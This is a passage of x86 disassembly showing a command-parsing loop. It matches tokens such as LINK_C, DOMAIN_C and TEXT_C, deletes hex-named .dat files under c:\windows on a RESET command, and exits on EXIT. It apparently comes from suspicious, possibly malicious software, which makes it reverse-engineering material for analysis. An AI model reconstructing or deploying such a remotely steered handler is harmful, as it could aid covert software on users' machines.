push str.LINKTEXT_M
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x403542
mov eax, dword [esp + 0x524d8]
push ebx
lea ecx, [eax + 0x70]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
push str.LINK_M
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x40356b
mov eax, dword [esp + 0x524d8]
push ebx
lea ecx, [eax + 0xb0]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
call edi
and eax, 1
push eax
call esi
push 8
push str.DOMAIN_C
push dword [esp + 0x18]
call dword [sym.imp.MSVCRT.dll__strnicmp]
add esp, 0xc
test eax, eax
jne 0x40359f
mov eax, dword [esp + 0x524d8]
push ebx
lea ecx, [eax + 0x80]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
push 6
push str.TEXT_C
push dword [esp + 0x18]
call dword [sym.imp.MSVCRT.dll__strnicmp]
add esp, 0xc
test eax, eax
jne 0x4035cb
mov eax, dword [esp + 0x524d8]
push ebx
lea ecx, [eax + 0x90]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
push 6
push str.LINK_C
push dword [esp + 0x18]
call dword [sym.imp.MSVCRT.dll__strnicmp]
add esp, 0xc
test eax, eax
jne 0x4035f7
mov eax, dword [esp + 0x524d8]
push ebx
lea ecx, [eax + 0xd0]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
push 0xa
push str.LINKTEXT_C
push dword [esp + 0x18]
call dword [sym.imp.MSVCRT.dll__strnicmp]
add esp, 0xc
test eax, eax
jne 0x403661
mov eax, dword [esp + 0x524d8]
push ebx
lea ecx, [eax + 0xa0]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
jmp 0x403661
push str.RESET
push dword [esp + 0x14]
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x40364d
mov ebx, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push str.c:windows_be49f4d98.dat
call ebx
push str.c:windows_be49f4d99.dat
call ebx
push str.EXIT
push dword [esp + 0x14]
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x4036c8
push dword [esp + 0x10]
call dword [sym.imp.MSVCRT.dll_free]
mov dword [esp], 0x40d044
push 0
call dword [sym.imp.MSVCRT.dll_strtok]
pop ecx
pop ecx
jmp 0x402719
xor esi, esi
cmp dword [esp + 0x524e0], esi
je 0x403699
push dword [esp + 0x524e0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [esp + 0xb48]
push esi
push eax
call fcn.004016e6
push esi
call dword [sym.imp.MSVCRT.dll_exit]
push 0xc8
call esi
push dword [esp + 0x20]
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
push 0
call dword [sym.imp.MSVCRT.dll_exit]
push 0
call dword [sym.imp.MSVCRT.dll_exit]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x524c0
ret 0x28